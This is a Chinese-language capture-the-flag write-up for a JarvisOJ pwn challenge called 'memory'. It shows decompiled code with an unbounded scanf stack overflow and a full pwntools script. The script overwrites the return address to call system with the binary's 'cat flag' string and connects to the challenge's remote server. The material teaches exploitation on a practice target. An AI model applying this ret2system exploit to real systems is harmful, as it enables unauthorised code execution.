经历了前面2次的艰难,出题人或许嫌我们太累了,来了个简单的
走进程序找信息。开启的保护只有NX
.rodata:080487E0 00000009 C cat flag
这里有命令字符串cat flag
0804A058 system
这里有system函数,然后找漏洞吧
int __cdecl mem_test(char *s2)
{
int result; // eax
char s; // [esp+15h] [ebp-13h]
memset(&s, 0, 0xBu);
puts("\nwhat???? : ");
printf("0x%x \n", hint);
puts("cff flag go go go ...\n");
printf("> ");
__isoc99_scanf("%s", &s);
if ( !strncmp(&s, s2, 4u) )
result = puts("good job!!\n");
else
result = puts("cff flag is failed!!\n");
return result;
}
_isoc99_scanf(“%s”, &s);这里有栈溢出漏洞。
东西凑齐了,简单栈溢出,用system 函数覆盖返回地址就行了
from pwn import *
context.log_level="debug"
elf=ELF("memory")
call_system_addr=0x080485BD
catflag_addr=0x080487E0
#p=process("./memory")
p=remote("pwn2.jarvisoj.com",9876)
p.recvuntil("cff flag go go go ...\n")
p.recvline()
p.sendline("A"*(0x17)+p32(call_system_addr)+p32(0x08048677)+p32(catflag_addr))
p.recvuntil("is failed!!\n")
p.recv()
用system函数地址覆盖返回地址,运行system函数的时候参数是cat flag 的地址